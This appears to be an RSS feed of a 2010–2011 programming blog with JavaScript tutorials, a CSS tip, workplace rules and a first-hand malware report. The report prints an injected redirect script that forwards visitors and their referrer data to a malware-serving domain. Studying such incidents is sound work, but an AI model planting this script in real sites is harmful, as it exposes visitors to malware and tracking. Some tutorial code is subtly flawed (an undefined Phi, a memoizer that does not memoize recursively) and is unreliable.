&lt;p&gt;I know it is not legally realistic, but I know that there are many startups that rely more on the trust of their employees than a perfectly drafted contract. </description><link>http://nullisnull.blogspot.com/2011/08/write-your-own-work-contract.html</link><author>noreply@blogger.com (φ)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-30596097.post-8397125643107803483</guid><pubDate>Fri, 29 Jul 2011 19:57:00 +0000</pubDate><atom:updated>2011-07-29T16:20:30.011-07:00</atom:updated><title>How to work with me</title><description>In March 2005, a photocopy was handed to me in preparation for work with one of the top wigs. It enumerated the rules necessary to avoid conflict and ensure efficient communication between me and someone who doesn&#39;t have time for bullshit.&lt;br /&gt;
&lt;br /&gt;
Recently, I discovered said photocopy hiding within one of my coding books and showed it to my peers. They loved it. They loved it so much, that they wanted to use it for their own minions.&lt;br /&gt;
&lt;br /&gt;
It is my ethical obligation to share with the world at large, provided the original author doesn&#39;t mind (unnamed for privacy) and provided you understand that this is half-jest and half-serious but definitely with a lot of respect and admiration for the author. After all, it takes balls to say what you think despite how weaklings might feel about it.&lt;br /&gt;
&lt;br /&gt;
Here goes:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;ol&gt;&lt;li&gt;I prefer to work fast, minimize bullshit, get to the point.&lt;/li&gt;
&lt;li&gt;You will sometimes have bad news for me. I want it immediately. I can usually show you how to fix it. And I never blame the messenger.&lt;/li&gt;
&lt;li&gt;Bring pen and paper to every meeting with me. Pay attention to what I say; I&#39;ll try to speak with care. If I frequently must repeat instructions, or remind you of something I&#39;ve already told you, you will not work with me again.&lt;/li&gt;
&lt;li&gt;If I&#39;ve scheduled a weekly meeting with you, don&#39;t assume that this meeting is the only time to raise issues with me; Interrupt me for time critical issues.&lt;/li&gt;
&lt;li&gt;If you have a meeting with me at an assigned time, and I am in another meeting with my door closed, interrupt me. I stack meetings, and each meeting leads into the next.&lt;/li&gt;
&lt;li&gt;I like &quot;micro-meetings&quot;. Get in quick, bring only the necessary parties to the table, make a decision, get out. Five minutes or less. Make these effective by knowing what decision needs to be made before you start, and presenting the decision criteria ahead of time to all participants.&lt;/li&gt;
&lt;li&gt;Stand during micro-meetings.&lt;/li&gt;
&lt;li&gt;I don&#39;t like email, particularly for discussing complex topics. If a decision needs to be made, do a micro-meeting. If a problem needs to be discussed, ask the person with the most depth to prepare something, an agenda, have a whiteboard, and work through it quickly.&lt;/li&gt;
&lt;li&gt;One exception to the above: I like &quot;micro-updates&quot;: Quick emails confirming time critical commitments and mutual understanding. These are especially useful after we hold a meeting and I give you a set of directives: I always like to hear our agreed-upon commitments echoed back to me. I may not respond, but I will read it. Keep these emails short: Spare me the greetings, thank yous, regards.&lt;/li&gt;
&lt;li&gt;Be consistent in your communication. Use words consistently. Use email headers consistently. Strive to make your work immediately comprehensible.&lt;/li&gt;
&lt;li&gt;If you disagree with me, voice your differences. I welcome and invite dissent. If this makes you uncomfortable, feel free to prepare your thoughts after the meeting and then later return to make your case.&lt;/li&gt;
&lt;li&gt;Ego-driven debates annoy me. Check your ego at the door: I&#39;m only interested in reaching the best, most elegant solution —I don&#39;t care if it&#39;s your idea or mine.&lt;/li&gt;
&lt;li&gt;Don&#39;t be afraid to ask questions if you&#39;re not clear. I have more patience for explaining and clarifying my position before you start than I do patience for fixing a wasteful, incorrect approach after the fact.&lt;/li&gt;
&lt;li&gt;Don&#39;t tell me something is in the process of being done without telling me when it will be done. I&#39;m more interested in the time commitment than the fact that an effort exists.&lt;/li&gt;
&lt;li&gt;Always give me options, informed by an economic analysis where possible (if there are dollars involved, an analysis is mandatory), and then make your recommendation. Don&#39;t tell me there&#39;s a problem without offering a solution. Don&#39;t offer me multiple solutions without giving me your best and final recommendation.&lt;/li&gt;
&lt;li&gt;If you must prepare reports for me, review spreadsheets I&#39;ve created. Copy the style and format.&lt;/li&gt;
&lt;li&gt;Don&#39;t send me long documents. I like precision and concision. Say it on one page (or less).&lt;/li&gt;
&lt;/ol&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;Update&lt;/h3&gt;I&#39;ve fixed a typo, which was pretty hilarious. &quot;Don&#39;t &lt;i&gt;sent&lt;/i&gt;&amp;nbsp;me long documents. I like precision...&quot;. Thank you, &lt;a href=&quot;http://news.ycombinator.com/item?id=2823742&quot;&gt;Hacker News&lt;/a&gt; for picking this up and for your comments.&lt;br /&gt;
&lt;br /&gt;
&lt;p&gt;If you&#39;d like to read more, follow me &lt;a href=&quot;http://twitter.com/darkgoyle&quot;&gt;@darkgoyle&lt;/a&gt;&lt;/p&gt;</description><link>http://nullisnull.blogspot.com/2011/07/how-to-work-with-me.html</link><author>noreply@blogger.com (φ)</author><thr:total>31</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-30596097.post-4549213482894091202</guid><pubDate>Sun, 08 May 2011 04:27:00 +0000</pubDate><atom:updated>2011-05-07T21:33:34.803-07:00</atom:updated><title>Malware — a report from the trenches.</title><description>&lt;style&gt;
img { display:block; margin:1em auto }
small { display:block; margin:1em auto; font:.6em Monaco,monotype; width:90% }
&lt;/style&gt;&lt;br /&gt;
Some people wonder if malware is a thing of the past. After all, if you know what a blog is, chances are you also know how to not get phished nor p0wned. You probably also think that because you are white-hat (not applicable to socially-retarded individuals), that the real threat is gone and a thing for kids hanging out on meme forums.&lt;br /&gt;
&lt;br /&gt;
Let me explain what just happened as I was surfing:&lt;br /&gt;
&lt;br /&gt;
I was image-surfing on Google, and I came across this image of what appears to be a visual test for an attractiveness study: &lt;img alt=&quot;Visual test for an attractiveness study showing what one of the screens must have looked like. There is certain irony that most likely, only those who use a non-image approach to web surfing actually know I wrote this. Also those who like to see what&#39;s behind the curtain, so to speak. I&#39;d say under the skirt.&quot; border=&quot;0&quot; height=&quot;219&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiliO91bny73wnScEMjlO2Skl9-LX_uYT4JpY3RkhR-wHf4VbK9lq5wGERjRfbA8IktWLF4gVovzfP9fj6XYhC_z_FL-REBDW9gjK-UQtLkmLlLFPcRK_uwNPahNyMO4mn0ksHf/s320/Screen+shot+2011-05-07+at+8.04.44+PM.png&quot; width=&quot;266&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
Upon hovering to click, I didn&#39;t bother making sense of what Google had picked in its index:&lt;br /&gt;
&lt;img alt=&quot;Google&#39;s wacky indexing&quot; border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPgMACfYzQHCcslgIlCNKtNCWfsLb9DvtQu9gEd-PeXJKTD3u767qeKROawsvcsm7WmVAdO64O5sekMraamAJUWzpJo9AKDghGQ6hvmSoXnk_vCJEX6kB2vYVb3piM7p01-Cy1/s320/Screen+shot+2011-05-07+at+8.05.01+PM.png&quot; width=&quot;293&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
The image name makes sense (as opposed to these automatically-named uploads). The descriptive text and url, not so much. TL;DR&lt;br /&gt;
&lt;br /&gt;
So I clicked, which sent me to a Google image server interstitial with a url that only Chuck Norris could read:&lt;br /&gt;
&lt;small&gt;&lt;br /&gt;
http://www.google.com/imgres?imgurl=http://cache.gawkerassets.com/assets/images/7/2008/05/weirdscience.png&amp;amp;imgrefurl=http://sailmaldives.com/sailmaldives/symmetrical-face%26page%3D4&amp;amp;usg=__5pt7-fW8PxDtDBln4IZYdLhL2pE=&amp;amp;h=518&amp;amp;w=657&amp;amp;sz=126&amp;amp;hl=en&amp;amp;start=47&amp;amp;sig2=eQtFxiANJ285aURPa9c4xA&amp;amp;zoom=1&amp;amp;tbnid=BRnsBeaZ-ET2wM:&amp;amp;tbnh=140&amp;amp;tbnw=178&amp;amp;ei=UATGTeLqE4X2swOygY2aAQ&amp;amp;prev=/search%3Fq%3Dsymmetrical%2Bface%2Btest%26hl%3Den%26safe%3Doff%26sa%3DX%26biw%3D937%26bih%3D919%26tbm%3Disch0%2C1915&amp;amp;itbs=1&amp;amp;iact=hc&amp;amp;vpx=554&amp;amp;vpy=370&amp;amp;dur=3354&amp;amp;hovh=199&amp;amp;hovw=253&amp;amp;tx=95&amp;amp;ty=103&amp;amp;page=3&amp;amp;ndsp=25&amp;amp;ved=1t:429,r:23,s:47&amp;amp;biw=937&amp;amp;bih=919&lt;br /&gt;
&lt;/small&gt;&lt;br /&gt;
&lt;br /&gt;
(By the way, it&#39;s interesting to see what data Google seems to be acquiring. Perhaps in another post)&lt;br /&gt;
&lt;br /&gt;
The image was hosted on &lt;code&gt;cache.gawkerassets.com&lt;/code&gt; which could or not directly correlate it to the attack that Gawker media underwent (allegedly — conspiracy alert).&lt;br /&gt;
&lt;br /&gt;
Google then loads the page hosting the image in the background. This page, hosted on &lt;code&gt;sailmaldives.com&lt;/code&gt; has only script as the source:&lt;br /&gt;
&lt;br /&gt;
&lt;p class=prettyprint&gt;var url = &quot;http://dczhxynm.ce.ms/in.cgi?2&amp;amp;seoref=&quot;+&lt;br /&gt;
  encodeURIComponent(document.referrer)+&lt;br /&gt;
  &quot;¶meter=$keyword&amp;amp;se=$se&amp;amp;ur=1&amp;amp;HTTP_REFERER=&quot;+&lt;br /&gt;
  encodeURIComponent(document.URL)+&lt;br /&gt;
  &quot;&amp;amp;default_keyword=default&quot;; &lt;br /&gt;
&lt;br /&gt;
if (window!=top) {top.location.href = url;} &lt;br /&gt;
else document.location= url;&lt;br /&gt;
&lt;/p&gt;&lt;br /&gt;
So off you go to a domain that looks totally legit. But not for long. A 302 redirect directly to an IP address that has no DNS registry: &lt;code&gt;69.50.202.201&lt;/code&gt; and a proper tracking code made just for me: &lt;small&gt;GET /79821af005378d43c661c9f19b618d143804cc4c0bece84e HTTP/1.1&lt;/small&gt;. How kind. Now they know everything that Google wanted to know about me.&lt;br /&gt;
&lt;br /&gt;
What follows is a very well made interface:&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLpzKCFubsKUuRp1uFnmFy4XQczaunJm4H7s8w5T2vcbsfK5fhVxynNJnUDMWuRW0bDONHUObqkmSJrLkm1ZyYY54rYC1lMcD4_Q4gfkBOYdZQlfZ6N1hOW7FSXaKQdpwBO7o8/s1600/Screen+shot+2011-05-07+at+8.05.34+PM.png&quot; imageanchor=&quot;1&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLpzKCFubsKUuRp1uFnmFy4XQczaunJm4H7s8w5T2vcbsfK5fhVxynNJnUDMWuRW0bDONHUObqkmSJrLkm1ZyYY54rYC1lMcD4_Q4gfkBOYdZQlfZ6N1hOW7FSXaKQdpwBO7o8/s320/Screen+shot+2011-05-07+at+8.05.34+PM.png&quot; width=&quot;269&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
That&#39;s an image. You can click on it, you wuss.&lt;br /&gt;
&lt;br /&gt;
The real site automatically sends you a zip file. As you can see, it was automatically downloaded by chrome (I suppose there are setting somewhere to ask first or not. Whatever.). The archive contains an OSX installer, which... well, I&#39;m not that stupid. You are welcome to reverse engineer it if you want. I&#39;m curious.&lt;br /&gt;
&lt;br /&gt;
So I did what any responsible netizen would do: &lt;s&gt;post it on reddit&lt;/s&gt; &lt;s&gt;post it on twitter&lt;/s&gt; &lt;s&gt;post it on facebook&lt;/s&gt; report it to Google:&lt;br /&gt;
&lt;br /&gt;
&lt;img alt=&quot;Type google malware on a search box, click first result. I&#39;m sure you know how to do this.&quot; border=&quot;0&quot; height=&quot;118&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCi_Z-bnfTNAAevRXYZtLlRo_1L5mVkzz9mfMox64deoFVMiezTnfwS5fgnhvZWm-JVl-dPlF3oJVztrB5gIIspadWo1esg9ogWj4nuVQ4UiTJKnyodeiqQzGMMtEhhX4_zg8F/s320/Screen+shot+2011-05-07+at+8.04.01+PM.png&quot; width=&quot;320&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
The interesting thing here is, the site is broken on my current version of Chrome. What. The. Hell.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnxGEjeP8RSrzTWi9WzbMGTs8HWsiT_hCidl3U7Nbz9wHk4BMZbm_Q3aECr-cAIkdfrUnl1EOHDm02OQEPiDbe1tylv3GNUDaoOXzA-hyHbTYzH0vtMcjSrF9jQ6tRL65ptjUP/s1600/Screen+shot+2011-05-07+at+8.03.44+PM.png&quot; imageanchor=&quot;1&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;194&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnxGEjeP8RSrzTWi9WzbMGTs8HWsiT_hCidl3U7Nbz9wHk4BMZbm_Q3aECr-cAIkdfrUnl1EOHDm02OQEPiDbe1tylv3GNUDaoOXzA-hyHbTYzH0vtMcjSrF9jQ6tRL65ptjUP/s320/Screen+shot+2011-05-07+at+8.03.44+PM.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
Why??&lt;br /&gt;
&lt;br /&gt;
&lt;img alt=&quot;Source code for an invisible container.&quot; border=&quot;0&quot; height=&quot;97&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlaxeOBBGQbp2nWaBIQPzq1qJYfapFCiz5-jXkPZrLUS1WR1HuqY31VFSTa8a9swV3qlg0V6xtffBofUKzw7rUaj_Dbh4mGWVm1VIj1sYsB2hqBIZkAWx3Fo3XZJQxUV_AOTPz/s320/Screen+shot+2011-05-07+at+9.03.20+PM.png&quot; width=&quot;320&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
Whatever. Remove &quot;position:relative&quot;, fill form, submit details.&lt;br /&gt;
&lt;br /&gt;
Google breaks.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi20D6HrwPS8hRXobzBe_MgJwIiKFUYjtoOiI5jTg9Ga3v8T4k-gw4941lmkUiWyS6ATTJgqlC50UdUnjr6Iij30o8wHyDSs-rme5cNy_qSiAt39jGmhTE0iQT2Ks_pXG9PutXo/s1600/Screen+shot+2011-05-07+at+8.03.18+PM.png&quot; imageanchor=&quot;1&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;118&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi20D6HrwPS8hRXobzBe_MgJwIiKFUYjtoOiI5jTg9Ga3v8T4k-gw4941lmkUiWyS6ATTJgqlC50UdUnjr6Iij30o8wHyDSs-rme5cNy_qSiAt39jGmhTE0iQT2Ks_pXG9PutXo/s320/Screen+shot+2011-05-07+at+8.03.18+PM.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
If you work for Google, email the malware list and get someone like that annoying Marc Merlin to use his &lt;em&gt;persistence&lt;/em&gt; to work and get this clowncar operation fixed. It&#39;s even made the news:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0wyWm7jF_HWm8cN600alBZ3wAHJ-juvBNADnAPodze28h5w99sJlp-UJIrgPx3uDzJhy3sV6tsmDtwOQgas1XJry0IoTt25CxhWs9YIJ2b6I6Zn6ahedZFtKY_EYMOQh43ILu/s1600/Screen+shot+2011-05-07+at+9.10.05+PM.png&quot; imageanchor=&quot;1&quot; style=&quot;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;63&quot; width=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0wyWm7jF_HWm8cN600alBZ3wAHJ-juvBNADnAPodze28h5w99sJlp-UJIrgPx3uDzJhy3sV6tsmDtwOQgas1XJry0IoTt25CxhWs9YIJ2b6I6Zn6ahedZFtKY_EYMOQh43ILu/s320/Screen+shot+2011-05-07+at+9.10.05+PM.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
How bad is this? Well, &lt;a href=&quot;http://bit.ly/ilq1Ii&quot;&gt;Anonymous&lt;/a&gt; gained access to my email address and my Playstation Network password with their attack on April 17 or so. This week I received an email from my bank (it was from my bank indeed) asking me to fill a customer survey in response to a phone call I allegedly made. I hadn&#39;t. I also got an automated email from PayPal (also legitimate) informing me of a returned email to their service@paypal account. I hadn&#39;t.&lt;br /&gt;
&lt;br /&gt;
You can be very skeptical about anything you want, but I will pay attention to what happens next.&lt;br /&gt;
&lt;br /&gt;
My passwords have always been different, and that IP address belongs to an ISP in Arizona.</description><link>http://nullisnull.blogspot.com/2011/05/malware-report-from-trenches.html</link><author>noreply@blogger.com (φ)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiliO91bny73wnScEMjlO2Skl9-LX_uYT4JpY3RkhR-wHf4VbK9lq5wGERjRfbA8IktWLF4gVovzfP9fj6XYhC_z_FL-REBDW9gjK-UQtLkmLlLFPcRK_uwNPahNyMO4mn0ksHf/s72-c/Screen+shot+2011-05-07+at+8.04.44+PM.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-30596097.post-630381030766734527</guid><pubDate>Fri, 04 Feb 2011 23:49:00 +0000</pubDate><atom:updated>2011-02-04T17:59:37.785-08:00</atom:updated><title>Simple animation algorithm</title><description>&lt;p&gt;Let&#39;s start with a simple case, fading in an element turning up the opacity on it. It&#39;s a good idea to start with the interface (how we want the call to look, ideally). Remember simple is always best:&lt;/p&gt;&lt;pre class=prettyprint&gt;fadeIn(element);&lt;/pre&gt;&lt;br /&gt;
&lt;p&gt;Then the actual function definition:&lt;/p&gt;&lt;pre class=prettyprint&gt;function fadeIn(element){

      // how smooth the animation runs
  var increment = 50,
      // how long it takes
      duration = 500,
      // this is important: it normalizes the steps
      scale = duration/increment;

  // Define the steps ahead of time
  for (var i = scale; 0 &lt; i; i--) {

    // we use a function to retain the value of i
    setTimeout((function(i){

      // the function actually executed on timeout
      return function(){
        // Standard browsers
        element.style.opacity = i/scale;
        // Substandard browsers
        element.style.filter = &#39;alpha(opacity=&#39;+(scale*i)+&#39;)&#39;;
      };

    })(i), increment*i);

  }
}
&lt;/pre&gt;
&lt;p&gt;Above, the scale is 10. The loop will then distribute 10 calls evenly, starting with the last one (500ms) and ending with the first, 10ms in the future.&lt;/p&gt;&lt;p&gt;We then use the scale to transform into the opacity values to be used: 0, .1, .2... 1 for standard browsers and 0-100 for browsers that were developed with little concern for cooperation for the benefit of user experience and the programmers having to implement it.&lt;/p&gt;&lt;p&gt;But this wouldn&#39;t be fun without making it a little more reusable, so let&#39;s clean it up. A general pattern to apply to functions is to keep track of &lt;i&gt;what is modified&lt;/i&gt; —the element in this case— and &lt;i&gt;what can change&lt;/i&gt; —increment, duration and property being mutated.&lt;/p&gt;&lt;pre class=prettyprint&gt;function animate(fn, config){
  var increment = (config||{}).increment || 50,
      duration = (config||{}).duration || 500,
      scale = duration/increment;
  
  for (var i = scale; 0 &lt; i; i--) {
    setTimeout((function(i){
      return function(){ fn(i, scale); };
    })(i), increment*i);
  }
}
&lt;/pre&gt;
&lt;p&gt;Since there are at least two operations to be executed on every step (because of different browser handling), I opted for explicitly passing the &quot;verb&quot; or lambda or visitor function to the animate function. This is how it could be used:

&lt;pre class=prettyprint&gt;var element = document.getElementById(&#39;my_element&#39;);
animate(function(i, scale){
  element.style.opacity = i/scale;
  element.style.filter = &#39;alpha(opacity=&#39;+(scale*i)+&#39;)&#39;;
});
&lt;/pre&gt;A little trick I used above: since config may not be defined, I make sure there is always a default object or value to work with, so this:
&lt;pre class=prettyprint&gt;var increment = 50;
if (config &amp;&amp; config.increment) {
  increment = config.increment;
}
&lt;/pre&gt;...turns into this:
&lt;pre class=prettyprint&gt;var increment = (config || {}).increment || 50;&lt;/pre&gt;&lt;p&gt;There are a couple of ways to deal with config objects and defaults, and it depends on how many variables you are trying to set or override. It may make sense for larger configuration objects to extend a default object with the configuration values, for example.&lt;/p&gt;&lt;p&gt;Other modifications would involve using an &quot;easing&quot; function that determines how often the callback is fired and with what increment values. The one above is the linear, the simplest.&lt;/p&gt;</description><link>http://nullisnull.blogspot.com/2011/02/simple-animation-algorithm.html</link><author>noreply@blogger.com (φ)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-30596097.post-6373680903714832707</guid><pubDate>Mon, 22 Nov 2010 06:25:00 +0000</pubDate><atom:updated>2010-11-21T22:25:57.323-08:00</atom:updated><title>SVN, Git.</title><description>Pull requests on Git are like &lt;i&gt;asking&lt;/i&gt; the build master (or QA, or your manager) to include your feature on the next release. That means, make sure there are no merges, make sure your code does not break any of the automated unit tests, and make sure that your code is properly tested.&lt;br /&gt;
&lt;br /&gt;
Well, that would be in the ideal world. If you want to do it differently, remember that you choose your dose of pain.</description><link>http://nullisnull.blogspot.com/2010/11/svn-git.html</link><author>noreply@blogger.com (φ)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-30596097.post-3296908143328198113</guid><pubDate>Sat, 25 Sep 2010 02:14:00 +0000</pubDate><atom:updated>2010-09-25T11:29:25.690-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Javascript</category><category domain="http://www.blogger.com/atom/ns#">memoization</category><category domain="http://www.blogger.com/atom/ns#">y-combinator</category><title>Fibonacci</title><description>Calculating the n-th &lt;a href=&quot;http://en.wikipedia.org/wiki/Fibonacci_number&quot;&gt;Fibonacci&lt;/a&gt; in different ways:&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=prettyprint&gt;// Recursive
function fib(n){
  if (n &lt; 2) return n;
  return fib(n-1) + fib(n-2);
}

// Memoized
function memFib(n){
  return memFib[n] || (memFib[n] = fib(n));
}

// Mathematical
function mathFib(n){
  return Math.floor(Math.pow(Phi, n)/Math.sqrt(5) +.5);
}
&lt;/pre&gt;
How do they compare in speed?
&lt;pre class=prettyprint&gt;[fib, memFib, mathFib].map(function(fn){
  var t0 = +new Date
  fn(30);
  return +new Date - t0
});
&lt;/pre&gt;Don&#39;t get your panties in a bunch just yet. This is an unfair fight:

&lt;ol&gt;&lt;li&gt;&lt;b&gt;&lt;code&gt;fib&lt;/code&gt;&lt;/b&gt; is simply horrible, performance-wise. It&#39;s the easiest to understand and best for demonstrating recursive functions, but that&#39;s it.&lt;br /&gt;
&lt;br /&gt;
&lt;li&gt;&lt;b&gt;&lt;code&gt;memFib&lt;/code&gt;&lt;/b&gt; is a great example for &lt;a href=&quot;http://en.wikipedia.org/wiki/Memoization&quot;&gt;memoization&lt;/a&gt;, as it executes almost linearly, except for those numbers which have not been used yet. If you try running &lt;code&gt;memFib&lt;/code&gt; with &lt;code&gt;n=40&lt;/code&gt;, you will start feeling the pain, but only the first time.&lt;br /&gt;
&lt;br /&gt;
An important point to make here about memoization is, if your function will be called many times &lt;i&gt;and&lt;/i&gt; always returns the same result given the same arguments, memoizing is your friend.&lt;br /&gt;
&lt;br /&gt;
&lt;/ol&gt;We will approach browser recursion limits quickly, so I will add two more contenders: &lt;pre class=prettyprint&gt;// Y-combinator
var Yfib = Y(function(fn){ return (function(n){
  if (n &lt; 2) return n;
  return fn(n-1) + fn(n-2);
}); });

// Memoized Y-combinator
var YmemFib = Ymem(function(fn){ return (function(n){
  if (n &lt; 2) return n;
  return fn(n-1) + fn(n-2);
}); });
&lt;/pre&gt;
This is a whole different game, with n=1000:
&lt;pre class=prettyprint&gt;[mathFib, YmemFib].map(function(fn){
  var t0 = +new Date
  fn(1000);
  return +new Date - t0
});
&lt;/pre&gt;&lt;a href=&quot;http://getfirefox.com&quot;&gt;Firefox&lt;/a&gt; 3.6.10 cries somewhere between &lt;code&gt;n=1000&lt;/code&gt; and &lt;code&gt;n=2000&lt;/code&gt; about too much recursion, and the difference is less than 10 milliseconds in favor of the mathematical formula.&lt;br&gt;

&lt;a href=&quot;http://www.google.com/chrome&quot;&gt;Chrome&lt;/a&gt; 6.0.472.63 can handle at least &lt;code&gt;n=6000&lt;/code&gt; before exhausting its stack and has a difference of about 2 milliseconds. BOOM.

&lt;h3&gt;The Much Anticipated Morale Of The &lt;a href=&quot;http://en.wikipedia.org/wiki/Leonardo_of_Pisa&quot;&gt;Leonardo Of Pisa&lt;/a&gt; Thingamajigs&lt;/h3&gt;&lt;ol&gt;&lt;li&gt;&lt;b&gt;Go for the mathematical solution first.&lt;/b&gt; If you are not smart enough, ask Google. If Google is not smart enough, ask &lt;a href=&quot;http://tylerneylon.com/b/&quot;&gt;Tyler&lt;/a&gt;. Seriously.&lt;br /&gt;
&lt;br /&gt;
&lt;li&gt;&lt;b&gt;Memoize.&lt;/b&gt; Remember this. Get it?&lt;br /&gt;
&lt;br /&gt;
&lt;li&gt;&lt;b&gt;Use a Y-combinator.&lt;/b&gt; You don&#39;t have to understand how to use it, and good luck trying. Seriously. Here you go:&lt;pre class=prettyprint&gt;function Y(fn) {
  return function(x) {
    return (fn(function(n){
     return (Y(fn))(n);
    }))(x);
  };
}
&lt;/pre&gt;To help you understand, try: &lt;a href=&quot;http://matt.might.net/articles/implementation-of-recursive-fixed-point-y-combinator-in-javascript-for-memoization/&quot;&gt;matt.might.net&lt;/a&gt;, &lt;a href=&quot;http://en.wikipedia.org/wiki/Fixed_point_combinator&quot;&gt;fixed point combinator on Wikipedia&lt;/a&gt;, &lt;a href=&quot;http://www.ece.uc.edu/~franco/C511/html/Scheme/ycomb.html&quot;&gt;Electronics and Computing Systems at the University of Cincinnati&lt;/a&gt;, the book &lt;a target=&quot;_blank&quot;  href=&quot;http://www.amazon.com/Mock-Mockingbird-Other-Logic-Puzzles/dp/0192801422?ie=UTF8&amp;tag=nulisnul-20&amp;link_code=btl&amp;camp=213689&amp;creative=392969&quot;&gt;To Mock a Mockingbird&lt;/a&gt;, and/or some &lt;a href=&quot;http://en.wikipedia.org/wiki/Entheogen&quot;&gt;entheogens&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;/ol&gt;The short answer: wrap this equivalent of bacon around everything. &lt;pre class=prettyprint&gt;/**
 * Memoizing Y-combinator (aka triptonomikon).
 */
function Ymem(fn) {
  var mem = this;
  return function(x) {
    return mem[x] || (mem[x] = (fn(function(n){
     return (Ymem.call(mem, fn))(n);
    }))(x));
  };
}
&lt;/pre&gt;&lt;br /&gt;
This should keep you busy until the next post.</description><link>http://nullisnull.blogspot.com/2010/09/fibonacci.html</link><author>noreply@blogger.com (φ)</author><thr:total>6</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-30596097.post-1654250981114807603</guid><pubDate>Thu, 19 Aug 2010 06:34:00 +0000</pubDate><atom:updated>2010-08-18T23:34:57.045-07:00</atom:updated><title>CSS layout helper rule</title><description>You may have used borders around elements to help during layout design:&lt;br /&gt;
&lt;pre class=prettyprint&gt; * { border:1px solid red }
&lt;/pre&gt;&lt;br /&gt;
But when you are being very stingy with your pixels, those extra border pixels can get in the way. I present to you the&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;Sooper Cosmogonic Layout Helper Rule that Rulez&lt;/h3&gt;&lt;pre class=prettyprint&gt; * { background: rgba(100, 100, 100, .5) }
&lt;/pre&gt;&lt;br /&gt;
The RGBA rule allows you to specify a background color in rgb (0-255) plus an alpha (transparency) value, which will aggregate for nested objects.&lt;br /&gt;
&lt;br /&gt;
Put it at the top of your css, optionally reduce the scope to, say &lt;code&gt;article * {...}&lt;/code&gt;, and send me good karma if it works.</description><link>http://nullisnull.blogspot.com/2010/08/css-layout-helper-rule.html</link><author>noreply@blogger.com (φ)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-30596097.post-1801959513451300295</guid><pubDate>Fri, 13 Aug 2010 23:04:00 +0000</pubDate><atom:updated>2010-10-19T16:22:40.980-07:00</atom:updated><title>Filter Overload Pattern</title><description>Assume you are working with the &lt;a href=&quot;http://api.jquery.com/toggle&quot;&gt;toggle&lt;/a&gt; function in jQuery and that you want to do something different with it. This would require writing a different plugin and naming it differently or changing the default toggle function.&lt;br /&gt;
&lt;br /&gt;
In the simplest terms, the pattern starts with a function:&lt;br /&gt;
&lt;pre class=prettyprint&gt;function stuff(s){
    if (typeof s == &#39;string&#39;)
      doStuffWithAString(s)
    else throwOrIgnore();
  }
&lt;/pre&gt;&lt;br /&gt;
Maybe you can&#39;t change the source code, or maybe you obsessively want to ultra-modularize your code. Either way, assume you want to use the same name to keep your source code as semantic as possible. Here is how I would do it:&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=prettyprint&gt;// redefine function
  var _old_stuff = stuff;
  stuff = function(b){
    // check for special case which should be overloaded here
    if (typeof b == &#39;boolean&#39;)
      // new behavior
      doStuffWithABoolean(b);
    // old behavior: call previously defined function.
    else _old_stuff(b);
  };
&lt;/pre&gt;&lt;br /&gt;
If you happen to mistakenly call the block twice, you will throw the function into a self-referential (endless) loop.&lt;br /&gt;
&lt;br /&gt;
With this pattern, you can build functions that specialize in delegating functions by argument patterns, akin to classical Java method overloading. If you will be handling many patterns, it may eventually be interesting to use only one index delegator instead of a cascading pattern.&lt;br /&gt;
